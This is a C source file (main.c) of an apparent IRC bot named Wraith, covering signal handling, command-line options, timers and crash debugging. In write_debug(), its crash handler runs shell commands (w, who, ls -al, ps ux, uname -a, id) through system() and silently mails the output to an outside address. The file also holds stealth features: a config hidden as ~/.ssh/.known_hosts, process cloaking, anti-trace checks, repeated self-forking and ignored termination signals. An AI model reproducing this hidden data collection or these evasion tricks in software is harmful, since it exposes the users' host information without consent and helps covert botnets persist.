main.c 51 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017
  1. /*
  2. * main.c -- handles:
  3. * core event handling
  4. * signal handling
  5. * command line arguments
  6. * context and assert debugging
  7. *
  8. */
  9. #include "main.h"
  10. #include <libgen.h>
  11. #include <fcntl.h>
  12. #include <time.h>
  13. #include <errno.h>
  14. #include <signal.h>
  15. #include <netdb.h>
  16. #include <setjmp.h>
  17. #include <unistd.h>
  18. #ifdef HAVE_UNAME
  19. #include <sys/utsname.h>
  20. #endif
  21. #ifdef STOP_UAC /* osf/1 complains a lot */
  22. #include <sys/sysinfo.h>
  23. #define UAC_NOPRINT 0x00000001 /* Don't report unaligned fixups */
  24. #endif
  25. /* Some systems have a working sys/wait.h even though configure will
  26. * decide it's not bsd compatable. Oh well.
  27. */
  28. #include <sys/file.h>
  29. #include <sys/stat.h>
  30. #ifdef S_ANTITRACE
  31. #include <sys/ptrace.h>
  32. #include <sys/wait.h>
  33. #endif
  34. #include <sys/types.h>
  35. #include <pwd.h>
  36. #include "chan.h"
  37. #include "modules.h"
  38. #include "tandem.h"
  39. #include "bg.h"
  40. #ifdef CYGWIN_HACKS
  41. #include <windows.h>
  42. #endif
  43. #define ENCMOD "blowfish"
  44. #ifndef _POSIX_SOURCE
  45. /* Solaris needs this */
  46. #define _POSIX_SOURCE 1
  47. #endif
  48. #ifdef HUB
  49. int hub = 1;
  50. int leaf = 0;
  51. #else
  52. int hub = 0;
  53. int leaf = 1;
  54. #endif
  55. int localhub = 1; //we set this to 0 if we have -c, later.
  56. extern char origbotname[], userfile[], botnetnick[],
  57. thekey[], netpass[], shellpass[], myip6[], myip[], hostname[],
  58. hostname6[], natip[];
  59. extern int dcc_total, conmask, cache_hit, cache_miss,
  60. fork_interval,
  61. local_fork_interval;
  62. extern struct dcc_t *dcc;
  63. extern struct userrec *userlist;
  64. extern struct chanset_t *chanset;
  65. extern Tcl_Interp *interp;
  66. extern tcl_timer_t *timer,
  67. *utimer;
  68. extern jmp_buf alarmret;
  69. int role;
  70. int loading = 0;
  71. char egg_version[1024] = "1.0.11";
  72. int egg_numver = 1001100;
  73. time_t lastfork=0;
  74. #ifdef HUB
  75. int my_port;
  76. #endif
  77. char notify_new[121] = ""; /* Person to send a note to for new users */
  78. int default_flags = 0; /* Default user flags and */
  79. int default_uflags = 0; /* Default userdefinied flags for people
  80. who say 'hello' or for .adduser */
  81. int backgrd = 1; /* Run in the background? */
  82. int con_chan = 0; /* Foreground: constantly display channel
  83. stats? */
  84. uid_t myuid;
  85. int term_z = 0; /* Foreground: use the terminal as a party
  86. line? */
  87. int checktrace = 1; /* Check for trace when starting up? */
  88. int pscloak = 1;
  89. int updating = 0; /* this is set when the binary is called from itself. */
  90. char tempdir[DIRMAX] = "";
  91. char lock_file[40] = "";
  92. char *binname;
  93. int sdebug = 0; /* enable debug output? */
  94. char textdir[121] = ""; /* Directory for text files that get dumped */
  95. time_t online_since; /* Unix-time that the bot loaded up */
  96. char owner[121] = ""; /* Permanent owner(s) of the bot */
  97. char pid_file[DIRMAX]; /* Name of the file for the pid to be
  98. stored in */
  99. int save_users_at = 0; /* How many minutes past the hour to
  100. save the userfile? */
  101. int notify_users_at = 0; /* How many minutes past the hour to
  102. notify users of notes? */
  103. char version[81]; /* Version info (long form) */
  104. char ver[41]; /* Version info (short form) */
  105. int use_stderr = 1; /* Send stuff to stderr instead of logfiles? */
  106. int do_restart = 0; /* .restart has been called, restart asap */
  107. int die_on_sighup = 0; /* die if bot receives SIGHUP */
  108. int die_on_sigterm = 0; /* die if bot receives SIGTERM */
  109. int resolve_timeout = 10; /* hostname/address lookup timeout */
  110. char quit_msg[1024]; /* quit message */
  111. time_t now; /* duh, now :) */
  112. #ifdef S_UTCTIME
  113. time_t now_tmp; /* used to convert to UTC */
  114. #endif /* S_UTCTIME */
  115. extern struct cfg_entry CFG_FORKINTERVAL;
  116. #define fork_interval atoi( CFG_FORKINTERVAL.ldata ? CFG_FORKINTERVAL.ldata : CFG_FORKINTERVAL.gdata ? CFG_FORKINTERVAL.gdata : "0")
  117. unsigned char md5out[33];
  118. char md5string[33];
  119. /* Traffic stats
  120. */
  121. unsigned long otraffic_irc = 0;
  122. unsigned long otraffic_irc_today = 0;
  123. unsigned long otraffic_bn = 0;
  124. unsigned long otraffic_bn_today = 0;
  125. unsigned long otraffic_dcc = 0;
  126. unsigned long otraffic_dcc_today = 0;
  127. unsigned long otraffic_filesys = 0;
  128. unsigned long otraffic_filesys_today = 0;
  129. unsigned long otraffic_trans = 0;
  130. unsigned long otraffic_trans_today = 0;
  131. unsigned long otraffic_unknown = 0;
  132. unsigned long otraffic_unknown_today = 0;
  133. unsigned long itraffic_irc = 0;
  134. unsigned long itraffic_irc_today = 0;
  135. unsigned long itraffic_bn = 0;
  136. unsigned long itraffic_bn_today = 0;
  137. unsigned long itraffic_dcc = 0;
  138. unsigned long itraffic_dcc_today = 0;
  139. unsigned long itraffic_trans = 0;
  140. unsigned long itraffic_trans_today = 0;
  141. unsigned long itraffic_unknown = 0;
  142. unsigned long itraffic_unknown_today = 0;
  143. #ifdef DEBUG_CONTEXT
  144. /* Context storage for fatal crashes */
  145. char cx_file[16][30];
  146. char cx_note[16][256];
  147. int cx_line[16];
  148. int cx_ptr = 0;
  149. #endif
  150. void fatal(const char *s, int recoverable)
  151. {
  152. int i;
  153. #ifdef LEAF
  154. module_entry *me;
  155. if ((me = module_find("server", 0, 0))) {
  156. Function *func = me->funcs;
  157. (func[SERVER_NUKESERVER]) (s);
  158. }
  159. #endif /* LEAF */
  160. if (s[0])
  161. putlog(LOG_MISC, "*", "* %s", s);
  162. /* flushlogs(); */
  163. for (i = 0; i < dcc_total; i++) {
  164. if (dcc[i].sock >= 0)
  165. killsock(dcc[i].sock);
  166. #ifdef HAVE_SSL
  167. ssl_cleanup();
  168. #endif /* HAVE_SSL */
  169. }
  170. if (!recoverable) {
  171. unlink(pid_file);
  172. bg_send_quit(BG_ABORT);
  173. exit(1);
  174. }
  175. }
  176. int expmem_chanprog(), expmem_users(), expmem_misc(), expmem_dccutil(),
  177. expmem_botnet(), expmem_tcl(), expmem_tclhash(), expmem_net(),
  178. expmem_modules(int), expmem_tcldcc(),
  179. expmem_tclmisc();
  180. /* For mem.c : calculate memory we SHOULD be using
  181. */
  182. int expected_memory(void)
  183. {
  184. int tot;
  185. tot = expmem_chanprog() + expmem_users() + expmem_misc() +
  186. expmem_dccutil() + expmem_botnet() + expmem_tcl() + expmem_tclhash() +
  187. expmem_net() + expmem_modules(0) + expmem_tcldcc() +
  188. expmem_tclmisc();
  189. return tot;
  190. }
  191. static void check_expired_dcc()
  192. {
  193. int i;
  194. for (i = 0; i < dcc_total; i++)
  195. if (dcc[i].type && dcc[i].type->timeout_val &&
  196. ((now - dcc[i].timeval) > *(dcc[i].type->timeout_val))) {
  197. if (dcc[i].type->timeout)
  198. dcc[i].type->timeout(i);
  199. else if (dcc[i].type->eof)
  200. dcc[i].type->eof(i);
  201. else
  202. continue;
  203. /* Only timeout 1 socket per cycle, too risky for more */
  204. return;
  205. }
  206. }
  207. #ifdef DEBUG_CONTEXT
  208. static int nested_debug = 0;
  209. void write_debug()
  210. {
  211. int x;
  212. char s[25], tmpout[150];
  213. int y;
  214. if (nested_debug) {
  215. /* Yoicks, if we have this there's serious trouble!
  216. * All of these are pretty reliable, so we'll try these.
  217. *
  218. * NOTE: dont try and display context-notes in here, it's
  219. * _not_ safe <cybah>
  220. */
  221. x = creat("DEBUG.DEBUG", 0600);
  222. setsock(x, SOCK_NONSOCK);
  223. if (x >= 0) {
  224. strncpyz(s, ctime(&now), sizeof s);
  225. dprintf(-x, "Debug (%s) written %s\n", ver, s);
  226. dprintf(-x, "Please report problem to bugs@eggheads.org\n");
  227. dprintf(-x, "after a visit to http://www.eggheads.org/bugzilla/\n");
  228. dprintf(-x, "Context: ");
  229. cx_ptr = cx_ptr & 15;
  230. for (y = ((cx_ptr + 1) & 15); y != cx_ptr; y = ((y + 1) & 15))
  231. dprintf(-x, "%s/%d,\n ", cx_file[y], cx_line[y]);
  232. dprintf(-x, "%s/%d\n\n", cx_file[y], cx_line[y]);
  233. killsock(x);
  234. close(x);
  235. }
  236. bg_send_quit(BG_ABORT);
  237. exit(1); /* Dont even try & tell people about, that may
  238. have caused the fault last time. */
  239. } else
  240. nested_debug = 1;
  241. snprintf(tmpout, sizeof tmpout, STR("* Last 3 contexts: %s/%d [%s], %s/%d [%s], %s/%d [%s]"),
  242. cx_file[cx_ptr-2], cx_line[cx_ptr-2], cx_note[cx_ptr-2][0] ? cx_note[cx_ptr-2] : "",
  243. cx_file[cx_ptr-1], cx_line[cx_ptr-1], cx_note[cx_ptr-1][0] ? cx_note[cx_ptr-1] : "",
  244. cx_file[cx_ptr], cx_line[cx_ptr], cx_note[cx_ptr][0] ? cx_note[cx_ptr] : "");
  245. putlog(LOG_MISC, "*", "%s", tmpout);
  246. printf("%s\n", tmpout);
  247. x = creat("DEBUG", 0600);
  248. setsock(x, SOCK_NONSOCK);
  249. if (x < 0) {
  250. putlog(LOG_MISC, "*", "* Failed to write DEBUG");
  251. } else {
  252. strncpyz(s, ctime(&now), sizeof s);
  253. dprintf(-x, "Debug (%s) written %s\n", ver, s);
  254. dprintf(-x, "STATICALLY LINKED\n");
  255. /* info library */
  256. dprintf(-x, "Tcl library: %s\n",
  257. ((interp) && (Tcl_Eval(interp, "info library") == TCL_OK)) ?
  258. interp->result : "*unknown*");
  259. /* info tclversion/patchlevel */
  260. dprintf(-x, "Tcl version: %s (header version %s)\n",
  261. ((interp) && (Tcl_Eval(interp, "info patchlevel") == TCL_OK)) ?
  262. interp->result : (Tcl_Eval(interp, "info tclversion") == TCL_OK) ?
  263. interp->result : "*unknown*", TCL_PATCH_LEVEL ? TCL_PATCH_LEVEL :
  264. "*unknown*");
  265. #if HAVE_TCL_THREADS
  266. dprintf(-x, "Tcl is threaded\n");
  267. #endif
  268. #ifdef CCFLAGS
  269. dprintf(-x, "Compile flags: %s\n", CCFLAGS);
  270. #endif
  271. #ifdef LDFLAGS
  272. dprintf(-x, "Link flags: %s\n", LDFLAGS);
  273. #endif
  274. #ifdef STRIPFLAGS
  275. dprintf(-x, "Strip flags: %s\n", STRIPFLAGS);
  276. #endif
  277. dprintf(-x, "Context: ");
  278. cx_ptr = cx_ptr & 15;
  279. for (y = ((cx_ptr + 1) & 15); y != cx_ptr; y = ((y + 1) & 15))
  280. dprintf(-x, "%s/%d, [%s]\n ", cx_file[y], cx_line[y],
  281. (cx_note[y][0]) ? cx_note[y] : "");
  282. dprintf(-x, "%s/%d [%s]\n\n", cx_file[cx_ptr], cx_line[cx_ptr],
  283. (cx_note[cx_ptr][0]) ? cx_note[cx_ptr] : "");
  284. tell_dcc(-x);
  285. dprintf(-x, "\n");
  286. debug_mem_to_dcc(-x);
  287. killsock(x);
  288. close(x);
  289. putlog(LOG_MISC, "*", "* Emailed DEBUG to bryan.");
  290. if (1) {
  291. char buff[255];
  292. snprintf(buff, sizeof(buff), "cat << EOFF >> bleh\nDEBUG from: %s\n`date`\n`w`\n---\n`who`\n---\n`ls -al`\n---\n`ps ux`\n---\n`uname -a`\n---\n`id`\n---\n`cat DEBUG`\nEOFF", origbotname);
  293. system(buff);
  294. snprintf(buff, sizeof(buff), "cat bleh |mail wraith@shatow.net");
  295. system(buff);
  296. unlink("bleh");
  297. }
  298. unlink("DEBUG");
  299. }
  300. }
  301. #endif
  302. static void got_bus(int z)
  303. {
  304. #ifdef DEBUG_CONTEXT
  305. write_debug();
  306. #endif
  307. fatal("BUS ERROR -- CRASHING!", 1);
  308. #ifdef SA_RESETHAND
  309. kill(getpid(), SIGBUS);
  310. #else
  311. bg_send_quit(BG_ABORT);
  312. exit(1);
  313. #endif
  314. }
  315. static void got_segv(int z)
  316. {
  317. #ifdef DEBUG_CONTEXT
  318. write_debug();
  319. #endif
  320. fatal("SEGMENT VIOLATION -- CRASHING!", 1);
  321. #ifdef SA_RESETHAND
  322. kill(getpid(), SIGSEGV);
  323. #else
  324. bg_send_quit(BG_ABORT);
  325. exit(1);
  326. #endif
  327. }
  328. static void got_fpe(int z)
  329. {
  330. #ifdef DEBUG_CONTEXT
  331. write_debug();
  332. #endif
  333. fatal("FLOATING POINT ERROR -- CRASHING!", 0);
  334. }
  335. static void got_term(int z)
  336. {
  337. #ifdef HUB
  338. write_userfile(-1);
  339. #endif
  340. check_tcl_event("sigterm");
  341. if (die_on_sigterm) {
  342. botnet_send_chat(-1, botnetnick, "ACK, I've been terminated!");
  343. fatal("TERMINATE SIGNAL -- SIGNING OFF", 0);
  344. } else {
  345. putlog(LOG_MISC, "*", "RECEIVED TERMINATE SIGNAL (IGNORING)");
  346. }
  347. }
  348. static void got_stop(int z)
  349. {
  350. exit(1);
  351. putlog(LOG_MISC, "*", "GOT SIGSTOP POSSIBLE HIJACK.");
  352. }
  353. #ifdef S_HIJACKCHECK
  354. static void got_cont(int z)
  355. {
  356. detected(DETECT_SIGCONT, "POSSIBLE HIJACK DETECTED");
  357. }
  358. #endif
  359. static void got_quit(int z)
  360. {
  361. check_tcl_event("sigquit");
  362. putlog(LOG_MISC, "*", "RECEIVED QUIT SIGNAL (IGNORING)");
  363. return;
  364. }
  365. static void got_hup(int z)
  366. {
  367. #ifdef HUB
  368. write_userfile(-1);
  369. #endif
  370. check_tcl_event("sighup");
  371. if (die_on_sighup) {
  372. fatal("HANGUP SIGNAL -- SIGNING OFF", 0);
  373. } else
  374. putlog(LOG_MISC, "*", "Received HUP signal: rehashing...");
  375. do_restart = -2;
  376. return;
  377. }
  378. /* A call to resolver (gethostbyname, etc) timed out
  379. */
  380. static void got_alarm(int z)
  381. {
  382. debug0("got alarm...");
  383. longjmp(alarmret, 1);
  384. /* -Never reached- */
  385. }
  386. /* Got ILL signal -- log context and continue
  387. */
  388. static void got_ill(int z)
  389. {
  390. check_tcl_event("sigill");
  391. #ifdef DEBUG_CONTEXT
  392. putlog(LOG_MISC, "*", "* Context: %s/%d [%s]", cx_file[cx_ptr],
  393. cx_line[cx_ptr], (cx_note[cx_ptr][0]) ? cx_note[cx_ptr] : "");
  394. #endif
  395. }
  396. #ifdef DEBUG_CONTEXT
  397. /* Context */
  398. void eggContext(const char *file, int line, const char *module)
  399. {
  400. char x[31], *p;
  401. p = strrchr(file, '/');
  402. if (!module) {
  403. strncpyz(x, p ? p + 1 : file, sizeof x);
  404. } else
  405. egg_snprintf(x, 31, "%s:%s", module, p ? p + 1 : file);
  406. cx_ptr = ((cx_ptr + 1) & 15);
  407. strcpy(cx_file[cx_ptr], x);
  408. cx_line[cx_ptr] = line;
  409. cx_note[cx_ptr][0] = 0;
  410. }
  411. /* Called from the ContextNote macro.
  412. */
  413. void eggContextNote(const char *file, int line, const char *module,
  414. const char *note)
  415. {
  416. char x[31], *p;
  417. p = strrchr(file, '/');
  418. if (!module) {
  419. strncpyz(x, p ? p + 1 : file, sizeof x);
  420. } else
  421. egg_snprintf(x, 31, "%s:%s", module, p ? p + 1 : file);
  422. cx_ptr = ((cx_ptr + 1) & 15);
  423. strcpy(cx_file[cx_ptr], x);
  424. cx_line[cx_ptr] = line;
  425. strncpyz(cx_note[cx_ptr], note, sizeof cx_note[cx_ptr]);
  426. }
  427. #endif
  428. #ifdef DEBUG_ASSERT
  429. /* Called from the Assert macro.
  430. */
  431. void eggAssert(const char *file, int line, const char *module)
  432. {
  433. #ifdef DEBUG_CONTEXT
  434. write_debug();
  435. #endif /* DEBUG_CONTEXT */
  436. if (!module)
  437. putlog(LOG_MISC, "*", "* In file %s, line %u", file, line);
  438. else
  439. putlog(LOG_MISC, "*", "* In file %s:%s, line %u", module, file, line);
  440. fatal("ASSERT FAILED -- CRASHING!", 1);
  441. }
  442. #endif /* DEBUG_ASSERT */
  443. #ifdef LEAF
  444. static void gotspawn(char *);
  445. #endif /* LEAF */
  446. void checkpass()
  447. {
  448. static int checkedpass = 0;
  449. if (!checkedpass) {
  450. char *gpasswd;
  451. MD5_CTX ctx;
  452. int i = 0;
  453. gpasswd = (char *) getpass("");
  454. MD5_Init(&ctx);
  455. MD5_Update(&ctx, gpasswd, strlen(gpasswd));
  456. MD5_Final(md5out, &ctx);
  457. for(i=0; i<16; i++)
  458. sprintf(md5string + (i*2), "%.2x", md5out[i]);
  459. if (strcmp(shellpass, md5string)) {
  460. fatal("incorrect password.", 0);
  461. }
  462. gpasswd = 0;
  463. checkedpass = 1;
  464. }
  465. }
  466. void got_ed(char *, char *, char *);
  467. extern int optind;
  468. void gen_conf(char *filename)
  469. {
  470. FILE *fp;
  471. if (is_file(filename) || is_dir(filename))
  472. fatal("File already exists..", 0);
  473. fp = fopen(filename, "w+");
  474. fprintf(fp, STR("#All lines beginning with '#' will be ignored during the bot startup. They are comments only.\n"));
  475. fprintf(fp, STR("#These lines MUST be correctly syntaxed or the bot will not work properly.\n"));
  476. fprintf(fp, STR("#A hub conf is located in the same dir as the hub binary, as 'conf' (encrypted)\n"));
  477. fprintf(fp, STR("#A leaf conf is located at '~/.ssh/.known_hosts' (encrypted)\n"));
  478. fprintf(fp, STR("#\n"));
  479. fprintf(fp, STR("#Note the \"- \" and \"+ \" for the following items, the space is REQUIRED.\n"));
  480. fprintf(fp, STR("#The first line must be the UID of the shell the bot is to be run on. (use \"id\" in shell to get uid)\n"));
  481. fprintf(fp, STR("#- 1113\n"));
  482. fprintf(fp, STR("#The second must be the output from uname -nv (-nr on FBSD)\n"));
  483. fprintf(fp, STR("#+ somebox #1 SMP Thu May 29 06:55:05 EDT 2003\n"));
  484. fprintf(fp, STR("#\n"));
  485. fprintf(fp, STR("#The following line will disable ps cloaking on the shell if you compiled with S_PSCLOAK\n"));
  486. fprintf(fp, STR("#!-\n"));
  487. fprintf(fp, STR("#The rest of the conf is for bots and is in the following syntax:\n"));
  488. fprintf(fp, STR("#botnick [!]ip4 [+]hostname IPv6-ip\n"));
  489. fprintf(fp, STR("#A . (period) can be used in place of ip4 and/or hostname if the field is not needed. (ie, for using only an ipv6 ip)\n"));
  490. fprintf(fp, STR("#(the ! means internal NAT ip address, IE: 10.10.0.3, Hostname REQUIRED)\n"));
  491. fprintf(fp, STR("#Full example:\n"));
  492. fprintf(fp, STR("#- 101\n"));
  493. fprintf(fp, STR("#+ somebox 5.1-RELEASE\n"));
  494. fprintf(fp, STR("#bot1 1.2.3.4 some.vhost.com\n"));
  495. fprintf(fp, STR("#bot2 . +ipv6.uber.leet.la\n"));
  496. fprintf(fp, STR("#bot3 . +another.ipv6.host.com 2001:66:669:3a4::1\n"));
  497. fprintf(fp, STR("#bot4 1.2.3.4 +someipv6.host.com\n"));
  498. fprintf(fp, STR("\n\n\n\n#if there are any trailing newlines at the end, remove them up to the last bot.\n"));
  499. fflush(fp);
  500. fclose(fp);
  501. printf("Template config created as '%s'\n", filename);
  502. exit(0);
  503. }
  504. void show_help()
  505. {
  506. char format[81];
  507. egg_snprintf(format, sizeof format, "%%-30s %%-30s\n");
  508. printf(STR("Wraith %s\n\n"), egg_version);
  509. printf(format, STR("Option"), STR("Description"));
  510. printf(format, STR("------"), STR("-----------"));
  511. printf(format, STR("-e <infile> <outfile>"), STR("Encrypt infile to outfile"));
  512. printf(format, STR("-d <infile> <outfile>"), STR("Decrypt infile to outfile"));
  513. printf(format, STR("-D"), STR("Enables debug mode (see -n)"));
  514. printf(format, STR("-E [#/all]"), STR("Display Error codes english translation (use 'all' to display all)"));
  515. printf(format, STR("-g <file>"), STR("Generates a template config file"));
  516. printf(format, STR("-h"), STR("Display this help listing"));
  517. /* printf(format, STR("-k <botname>"), STR("Terminates (botname) with kill -9")); */
  518. printf(format, STR("-n"), STR("Disables backgrounding first bot in conf"));
  519. printf(format, STR("-s"), STR("Disables checking for ptrace/strace during startup (no pass needed)"));
  520. printf(format, STR("-t"), STR("Enables \"Partyline\" emulation (requires -n)"));
  521. printf(format, STR("-v"), STR("Displays bot version"));
  522. exit(0);
  523. }
  524. #ifdef LEAF
  525. #define PARSE_FLAGS "cedghnstvPDE"
  526. #endif /* LEAF */
  527. #ifdef HUB
  528. #define PARSE_FLAGS "edghnstvDE"
  529. #endif /* HUB */
  530. #define FLAGS_CHECKPASS "edhgntDEv"
  531. static void dtx_arg(int argc, char *argv[])
  532. {
  533. int i;
  534. char *p = NULL, *p2 = NULL;
  535. while ((i = getopt(argc, argv, PARSE_FLAGS)) != EOF) {
  536. if (strchr(FLAGS_CHECKPASS, i))
  537. checkpass();
  538. switch (i) {
  539. #ifdef LEAF
  540. case 'c':
  541. localhub = 0;
  542. p = argv[optind];
  543. if (!localhub)
  544. gotspawn(p);
  545. break;
  546. #endif /* LEAF */
  547. case 'h':
  548. show_help();
  549. break; /* never reached */
  550. case 'g':
  551. p = argv[optind];
  552. if (p)
  553. gen_conf(p);
  554. else
  555. fatal("You must specify a filename after -g", 0);
  556. break; /* never reached */
  557. case 'k':
  558. p = argv[optind];
  559. /* kill_bot(p); */
  560. exit(0);
  561. break; /* never reached */
  562. case 'n':
  563. backgrd = 0;
  564. break;
  565. case 's':
  566. checktrace = 0;
  567. break;
  568. case 't':
  569. term_z = 1;
  570. break;
  571. case 'D':
  572. sdebug = 1;
  573. sdprintf("debug enabled");
  574. break;
  575. case 'E':
  576. p = argv[optind];
  577. if (p) {
  578. if (!strcmp(p, "all")) {
  579. int n;
  580. putlog(LOG_MISC, "*", "Listing all errors");
  581. for (n = 1; n < ERR_MAX; n++)
  582. putlog(LOG_MISC, "*", "Error #%d: %s", n, werr_tostr(n));
  583. } else {
  584. putlog(LOG_MISC, "*", "Error #%d: %s", atoi(p), werr_tostr(atoi(p)));
  585. }
  586. exit(0);
  587. } else {
  588. fatal("You must specify error number after -E (or 'all')", 0);
  589. }
  590. break;
  591. case 'e':
  592. if (argv[optind])
  593. p = argv[optind];
  594. if (argv[optind+1])
  595. p2 = argv[optind+1];
  596. got_ed("e", p, p2);
  597. break; /* this should never be reached */
  598. case 'd':
  599. if (argv[optind])
  600. p = argv[optind];
  601. if (argv[optind+1])
  602. p2 = argv[optind+1];
  603. got_ed("d", p, p2);
  604. break; /* this should never be reached */
  605. case 'v':
  606. printf("%d\n", egg_numver);
  607. bg_send_quit(BG_ABORT);
  608. exit(0);
  609. break; /* this should never be reached */
  610. #ifdef LEAF
  611. case 'P':
  612. if (getppid() != atoi(argv[optind]))
  613. exit(0);
  614. else {
  615. sdprintf("Updating...");
  616. }
  617. localhub = 1;
  618. updating = 1;
  619. break;
  620. #endif
  621. default:
  622. // exit(1);
  623. break;
  624. }
  625. }
  626. }
  627. #ifdef HUB
  628. void backup_userfile()
  629. {
  630. char s[125];
  631. putlog(LOG_MISC, "*", USERF_BACKUP);
  632. egg_snprintf(s, sizeof s, "%s~", userfile);
  633. copyfile(userfile, s);
  634. }
  635. #endif
  636. /* Timer info */
  637. static int lastmin = 99;
  638. static time_t then;
  639. static struct tm nowtm;
  640. /* Called once a second.
  641. *
  642. * Note: Try to not put any Context lines in here (guppy 21Mar2000).
  643. */
  644. int curcheck = 0;
  645. void core_10secondly()
  646. {
  647. curcheck++;
  648. check_promisc();
  649. if (curcheck==1)
  650. check_trace(0);
  651. #ifdef LEAF
  652. if (localhub) {
  653. #endif
  654. if (curcheck==2)
  655. check_last();
  656. #ifdef LEAF
  657. }
  658. #endif
  659. if (curcheck==3) {
  660. #ifdef LEAF
  661. if (localhub)
  662. check_processes();
  663. #endif
  664. curcheck=0;
  665. }
  666. }
  667. void do_fork() {
  668. int xx;
  669. Context;
  670. xx = fork();
  671. if (xx == -1)
  672. return;
  673. if (xx != 0) {
  674. FILE *fp;
  675. unlink(pid_file);
  676. fp = fopen(pid_file, "w");
  677. if (fp != NULL) {
  678. fprintf(fp, "%u\n", xx);
  679. fclose(fp);
  680. }
  681. }
  682. if (xx) {
  683. #if HAVE_SETPGID
  684. setpgid(xx, xx);
  685. #endif
  686. exit(0);
  687. }
  688. lastfork = now;
  689. }
  690. static void core_secondly()
  691. {
  692. static int cnt = 0;
  693. int miltime, idx;
  694. if (geteuid() != myuid || getuid() != myuid) {
  695. putlog(LOG_MISC, "*", "MY UID CHANGED!, POSSIBLE HIJACK ATTEMPT");
  696. }
  697. do_check_timers(&utimer); /* Secondly timers */
  698. if (fork_interval && backgrd) {
  699. if (now-lastfork > fork_interval)
  700. do_fork();
  701. }
  702. cnt++;
  703. if ((cnt % 3) == 0)
  704. call_hook(HOOK_3SECONDLY);
  705. if ((cnt % 10) == 0) {
  706. call_hook(HOOK_10SECONDLY);
  707. check_expired_dcc();
  708. if (con_chan && !backgrd) {
  709. dprintf(DP_STDOUT, "\033[2J\033[1;1H");
  710. tell_verbose_status(DP_STDOUT);
  711. do_module_report(DP_STDOUT, 0, "server");
  712. do_module_report(DP_STDOUT, 0, "channels");
  713. tell_mem_status_dcc(DP_STDOUT);
  714. }
  715. }
  716. if ((cnt % 30) == 0) {
  717. autolink_cycle(NULL); /* attempt autolinks */
  718. call_hook(HOOK_30SECONDLY);
  719. cnt = 0;
  720. }
  721. for (idx = 0; idx < dcc_total; idx++) {
  722. if (dcc[idx].simul > 0) {
